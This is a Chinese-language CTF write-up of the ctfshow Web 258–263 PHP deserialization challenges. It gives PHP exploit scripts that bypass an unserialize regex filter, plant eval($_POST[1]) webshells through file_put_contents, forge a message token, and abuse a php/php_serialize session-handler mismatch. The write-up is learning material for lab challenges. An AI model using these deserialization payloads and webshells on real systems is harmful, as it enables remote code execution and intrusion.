前言
本次主要是刷题
Web 258
直接生成,会pass掉以0开头+数字的不分大小写 仔细发现一共有两处
绕过正则
$b=str_replace(':11',':+11',$a);
$d=str_replace(':8',':+8',$c);
exp
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code='eval($_POST[1]);';
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
$a=new ctfShowUser();
$b=serialize($a);
$c=str_replace(':11',':+11',$b);
$d=str_replace(':8',':+8',$c);
var_dump($d);
var_dump(urlencode(($d)));
?>
Web259
这个题有点难,考的是csrf,这题属实做不出来了
根据flag.php的内容
这段代码的逻辑是:首先检查客户端IP地址是否为’127.0.0.1’,如果是,则检查POST请求中的token值是否为’ctfshow’,如果也符合条件,则将$flag的内容写入到名为’flag.txt’的文件中。否则,输出错误信息并终止脚本执行。
做不出来了….
Web260
可能是259太难了,260就给简单了
梭了
Web261
期中code是用username和password进行拼接的 所以限制username的值必须为877开头
exp:
<?php
class ctfshowvip{
public $username='877godyu666.php';
public $password='<?php eval($_POST[1]);?>';
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
$c=new ctfshowvip();
echo serialize($c);
echo "\n";
echo urlencode(serialize($c));
?>
传参
经过测试flag并不在此目录在根目录
直接拿
Web262
根据上面漏出的message.php我们去访问一下
发现message和index毫无关联
构造exp
<?php
class message{
public $from;
public $msg;
public $to;
public $token='admin';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$a=new message('1','2','3');
$b=serialize($a);
var_dump(base64_encode($b));
?>
Web263(最难的一个)
查看源代码
先看一下check.php调用了json
对于json学的不是很好,扔进gpt分析一下代码
发现有用但用处不大,我们审查一下
确实是u和pass
因为该登录框有实战渗透的感觉,我们去扫一下目录
扫描出来了check.php index.php 和www.zip
可以判断泄露了源代码文件
别的不说,先打开flag.php看一下
被掩盖了,我们在去检查一下check.php
查看inc.php
一般config.php都是上传之后被改过的 所以我们没必要去连3306
看见了登录限制 但不知道是几次 我们去index.php去查看
引用一下别人的思路(他的wp期中一点是错的 index.php里 session处理器是php_serialize
思路
知识点:
- php在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取$_SESSION数据,都会对数据序列化和反序列化,源码中有session_start的时候会读取session,从而进行反序列化.
- php . ini 中默认 session.serialize_handler 为 php_serialize,而 check.php 中将其设置为 php ,这个差异就导致了 sesssion 反序列化问题。
- php有三种处理器对$_SESSION数据进行序列化和反序列化。
网上的见解选择吸收,一些方面说的不好甚至是错误,我们应该真正的去理解反序列化漏洞而不是简单的看wp
我们应该用辩证的眼光去判断每一个人的题解,当然我的题解欢迎来纠错我写了好久来着
我们重头梳理一下
index.php中的第一个session应该是limit他写成了limti导致limti未被定义是0永远小于5
根据二元表达式$_SESSION[‘limti’]>5?如果大于执行die(“登陆失败次数超过限制”):如果小于执行$_SESSION[‘limit’]=base64_decode($_COOKIE[‘limit’]); 所以会永远的执行$_SESSION[‘limit’]=base64_decode($_COOKIE[‘limit’]);也就是将index.php中的session设置成为cookie_limit的base64解码
这里出题人提醒这里是包含了/inc/inc.php (服务器上有,但下载源码上没有,如果没有他们之间的session就不能互通,这题就没法做下去了,必须是session互通才能打反序列化漏洞) 简而言之就是check和inc里的session能在index.php里引用 但是二者对session的处理方法是不一样的
既然知道了二者的session方法处理不一样(index里默认是php_serialize)那如何利用呢 在index里是没有利用条件的
然而在inc.php里我们发现使用了file_put_contents函数意味着我们可以控制username的后缀为.php将password里面的内容写进username里
那么我们知道了利用条件就要构造exp
先看一下区别
此时注意注意 对于session的处理方法 php 和php_serialize是不同的 在test中写下的cookie是无法被index.php
设置的 为了更好理解
我们去测试一下二者区别
session处理器->php
<?php
session_start();
ini_set('session.serialize_handler', 'php');
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a=new User('1.php','<?php eval($_POST[1]);?>');
$_SESSION[user]=$a;
?>
我们去生成一下并找到session文件
发现以php处理session的结果为
user|O:4:”User”:3:{s:8:”username”;s:5:”1.php”;s:8:”password”;s:24:””;s:6:”status”;N;}
我们更换session的处理方式为php_serialize
再次查看结果
a:1:{s:4:”user”;O:4:”User”:3:{s:8:”username”;s:5:”1.php”;s:8:”password”;s:24:””;s:6:”status”;N;}}
我们清楚的看到区别二者的不同区别
可以看到php和php_serialize的区别 php的键名显示在括号外
我们目的是在inc里(使用的是php处理器)写入 在index里(php_serialize里设置cookie)在反过来在
check.php里调用 而调用的时候因为我们加了|键名和键值就变了
<?php
session_start();
ini_set('session.serialize_handler', 'php');
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a=new User('1.php','<?php eval($_POST[1]);?>');
echo serialize($a);
echo "\n";
$b="|".serialize($a);
echo $b;
$_SESSION[user1]=$b;
?>
我们此时加|
可以看到
user|s:105:”|O:4:”User”:3:{s:8:”username”;s:5:”1.php”;s:8:”password”;s:24:””;s:6:”status”;N;}”;
我们的键值此时就发生了改变 左面为键名|右面为键值
根据base64的判断 我们还需要对其转换一下
对cookie我们最好进行url编码
最后的exp
<?php
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
}
$user = new User('1.php','<?php eval($_POST[1]);phpinfo();?>');
echo urlencode(base64_encode('|'.serialize($user)));
?>
先访问Index.php 写入cookie在访问/check.php 写入log-1.php
暂无评论内容